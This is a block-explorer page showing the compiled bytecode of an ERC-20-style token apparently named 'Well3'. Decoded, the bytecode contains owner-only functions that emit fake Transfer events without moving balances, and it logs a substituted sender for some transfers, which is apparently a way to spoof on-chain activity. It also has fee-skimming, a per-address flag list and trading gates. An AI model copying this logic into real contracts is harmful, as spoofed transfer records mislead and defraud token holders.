d5b6116cd89838a01611637565b909650945060408801359150808211156116e657600080fd5b506116f388828901611637565b969995985093965092949392505050565b60008060006040848603121561171957600080fd5b833567ffffffffffffffff81111561173057600080fd5b61173c86828701611637565b909790965060209590950135949350505050565b6000806040838503121561176357600080fd5b61176c836115b5565b91506020830135801515811461178157600080fd5b809150509250929050565b60006020828403121561179e57600080fd5b6117a7826115b5565b9392505050565b6000602082840312156117c057600080fd5b5035919050565b600080604083850312156117da57600080fd5b6117e3836115b5565b91506117f1602084016115b5565b90509250929050565b600181811c9082168061180e57607f821691505b60208210810361182e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105fd576105fd611834565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118ba576118ba611834565b5060010190565b80820281158282048414176105fd576105fd611834565b6000826118f557634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105fd576105fd61183456feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208e4c562155dec6eb2e5eadf2e47144832c03c92ace70045394444c6140c9fd5c64736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef57656c6c332020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020307836333639364663363637393542353164303263313539306235333634383441343166624444463961
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c80637210829711610125578063b22c95e7116100ad578063d632135b1161007c578063d632135b146104d5578063dd62ed3e146104e8578063f01a4b9914610521578063f2fde38b14610534578063f887ea401461054757600080fd5b8063b22c95e714610480578063bf861b3114610493578063c9567bf9146104a6578063d5abeb01146104ae57600080fd5b806396784f75116100f457806396784f7514610434578063985bdfd11461035f578063a457c2d714610447578063a8aa1b311461045a578063a9059cbb1461046d57600080fd5b806372108297146103e5578063825e7b83146103f85780638da5cb5b1461041b57806395d89b411461042c57600080fd5b806339509351116101a85780634ca64b3a116101775780634ca64b3a1461037b5780634e148e191461038e5780635d822813146103a157806370a08231146103b4578063715018a6146103dd57600080fd5b806339509351146103105780634022b75e1461032357806347062402146103385780634c255c971461035f57600080fd5b806323b872dd116101ef57806323b872dd1461028857806325fa0b981461029b57806327c8f835146102af5780632b14ca56146102da578063313ce5671461030157600080fd5b806306fdde0314610221578063095ea7b31461023f578063158ef93e1461026257806318160ddd14610276575b600080fd5b61022961055a565b6040516102369190611567565b60405180910390f35b61025261024d3660046115d1565b6105ec565b6040519015158152602001610236565b60075461025290600160a01b900460ff1681565b6003545b604051908152602001610236565b6102526102963660046115fb565b610603565b60075461025290600160a81b900460ff1681565b6009546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b61027a7f000000000000000000000000000000000000000000000000000000000000000081565b60405160128152602001610236565b61025261031e3660046115d1565b6106b2565b610336610331366004611683565b6106ee565b005b61027a7f000000000000000000000000000000000000000000000000000000000000000081565b61036861271081565b60405161ffff9091168152602001610236565b610336610389366004611704565b6107b6565b61033661039c366004611750565b61080c565b6103366103af366004611683565b610861565b61027a6103c236600461178c565b6001600160a01b031660009081526001602052604090205490565b610336610921565b6103366103f3366004611683565b610957565b61025261040636600461178c565b600b6020526000908152604090205460ff1681565b6000546001600160a01b03166102c2565b610229610a17565b610336610442366004611683565b610a26565b6102526104553660046115d1565b610ae6565b6008546102c2906001600160a01b031681565b61025261047b3660046115d1565b610b7f565b61033661048e366004611683565b610b8c565b6103366104a13660046117ae565b610c4c565b610336610c7b565b61027a7f000000000000000000000000000000000000000087b595f2383509fe1000000081565b6103366104e3366004611683565b610d14565b61027a6104f63660046117c7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61033661052f366004611683565b610dd4565b61033661054236600461178c565b610e94565b600c546102c2906001600160a01b031681565b606060048054610569906117fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610595906117fa565b80156105e25780601f106105b7576101008083540402835291602001916105e2565b820191906000526020600020905b8154815290600101906020018083116105c557829003601f168201915b5050505050905090565b60006105f9338484610f2f565b5060015b92915050565b6000610610848484611053565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561069a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106a78533858403610f2f565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105f99185906106e990869061184a565b610f2f565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae5784848281811061073557610735611892565b905060200201602081019061074a919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e83398151915285858581811061077e5761077e611892565b9050602002013560405161079491815260200190565b60405180910390a3806107a6816118a8565b91505061071b565b505050505050565b3360005b83811015610805576107f3828686848181106107d8576107d8611892565b90506020020160208101906107ed919061178c565b85611053565b806107fd816118a8565b9150506107ba565b5050505050565b6000546001600160a01b031633146108365760405162461bcd60e51b81526004016106919061185d565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae578484828181106108a8576108a8611892565b90506020020160208101906108bd919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e8339815191528585858181106108f1576108f1611892565b9050602002013560405161090791815260200190565b60405180910390a380610919816118a8565b91505061088e565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016106919061185d565b61095560006112c9565b565b6000546001600160a01b031633146109815760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae5784848281811061099e5761099e611892565b90506020020160208101906109b3919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e8339815191528585858181106109e7576109e7611892565b905060200201356040516109fd91815260200190565b60405180910390a380610a0f816118a8565b915050610984565b606060058054610569906117fa565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610a6d57610a6d611892565b9050602002016020810190610a82919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610ab657610ab6611892565b90506020020135604051610acc91815260200190565b60405180910390a380610ade816118a8565b915050610a53565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015610b685760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610691565b610b753385858403610f2f565b5060019392505050565b60006105f9338484611053565b6000546001600160a01b03163314610bb65760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610bd357610bd3611892565b9050602002016020810190610be8919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610c1c57610c1c611892565b90506020020135604051610c3291815260200190565b60405180910390a380610c44816118a8565b915050610bb9565b6000546001600160a01b03163314610c765760405162461bcd60e51b81526004016106919061185d565b600a55565b6000546001600160a01b03163314610ca55760405162461bcd60e51b81526004016106919061185d565b600754600160a81b900460ff1615610cff5760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e656421000000006044820152606401610691565b6007805460ff60a81b1916600160a81b179055565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610d5b57610d5b611892565b9050602002016020810190610d70919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610da457610da4611892565b90506020020135604051610dba91815260200190565b60405180910390a380610dcc816118a8565b915050610d41565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610e1b57610e1b611892565b9050602002016020810190610e30919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610e6457610e64611892565b90506020020135604051610e7a91815260200190565b60405180910390a380610e8c816118a8565b915050610e01565b6000546001600160a01b03163314610ebe5760405162461bcd60e51b81526004016106919061185d565b6001600160a01b038116610f235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610691565b610f2c816112c9565b50565b6001600160a01b038316610f915760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610691565b6001600160a01b038216610ff25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610691565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff1615156001146110b15760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000006044820152606401610691565b600754600160a01b900460ff16151560011480156110d95750600754600160a81b900460ff16155b15611153576000546001600160a01b038481169116148061110757506000546001600160a01b038381169116145b6111535760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f7420737461727465646044820152606401610691565b60085481906001600160a01b03161580159061117d57506000546001600160a01b03858116911614155b801561119757506000546001600160a01b03848116911614155b156112b8576008546000906001600160a01b03908116908616036111d857507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b039081169085160361121c577f0000000000000000000000000000000000000000000000000000000000000000905061121c600a54611319565b6001600160a01b0385166000908152600b602052604090205460ff1615156001148061126557506001600160a01b0384166000908152600b602052604090205460ff1615156001145b1561126e575060005b80156112b657600061271061128383866118c1565b61128d91906118d8565b905061129981856118fa565b6009549093506112b49087906001600160a01b031683611326565b505b505b6112c3848483611326565b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610f2c57600080fd5b6001600160a01b03831661138a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610691565b6001600160a01b0382166113ec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610691565b6001600160a01b038316600090815260016020526040902054818110156114645760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610691565b6001600160a01b0380851660009081526001602052604080822085850390559185168152908120805484929061149b90849061184a565b90915550506007546001600160a01b03908116908516036114ee576006546040518381526001600160a01b0385811692169060008051602061190e833981519152906020015b60405180910390a36112c3565b6007546001600160a01b0390811690841603611534576006546040518381526001600160a01b039182169186169060008051602061190e833981519152906020016114e1565b826001600160a01b0316846001600160a01b031660008051602061190e833981519152846040516114e191815260200190565b600060208083528351808285015260005b8181101561159457858101830151858201604001528201611578565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146115cc57600080fd5b919050565b600080604083850312156115e457600080fd5b6115ed836115b5565b946020939093013593505050565b60008060006060848603121561161057600080fd5b611619846115b5565b9250611627602085016115b5565b9150604084013590509250925092565b60008083601f84011261164957600080fd5b50813567ffffffffffffffff81111561166157600080fd5b6020830191508360208260051b850101111561167c57600080fd5b9250929050565b60008060008060006060868803121561169b57600080fd5b6116a4866115b5565b9450602086013567ffffffffffffffff808211156116c157600080fd5b6116cd89838a01611637565b909650945060408801359150808211156116e657600080fd5b506116f388828901611637565b969995985093965092949392505050565b60008060006040848603121561171957600080fd5b833567ffffffffffffffff81111561173057600080fd5b61173c86828701611637565b909790965060209590950135949350505050565b6000806040838503121561176357600080fd5b61176c836115b5565b91506020830135801515811461178157600080fd5b809150509250929050565b60006020828403121561179e57600080fd5b6117a7826115b5565b9392505050565b6000602082840312156117c057600080fd5b5035919050565b600080604083850312156117da57600080fd5b6117e3836115b5565b91506117f1602084016115b5565b90509250929050565b600181811c9082168061180e57607f821691505b60208210810361182e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105fd576105fd611834565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118ba576118ba611834565b5060010190565b80820281158282048414176105fd576105fd611834565b6000826118f557634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105fd576105fd61183456feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208e4c562155dec6eb2e5eadf2e47144832c03c92ace70045394444c6140c9fd5c64736f6c63430008120033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.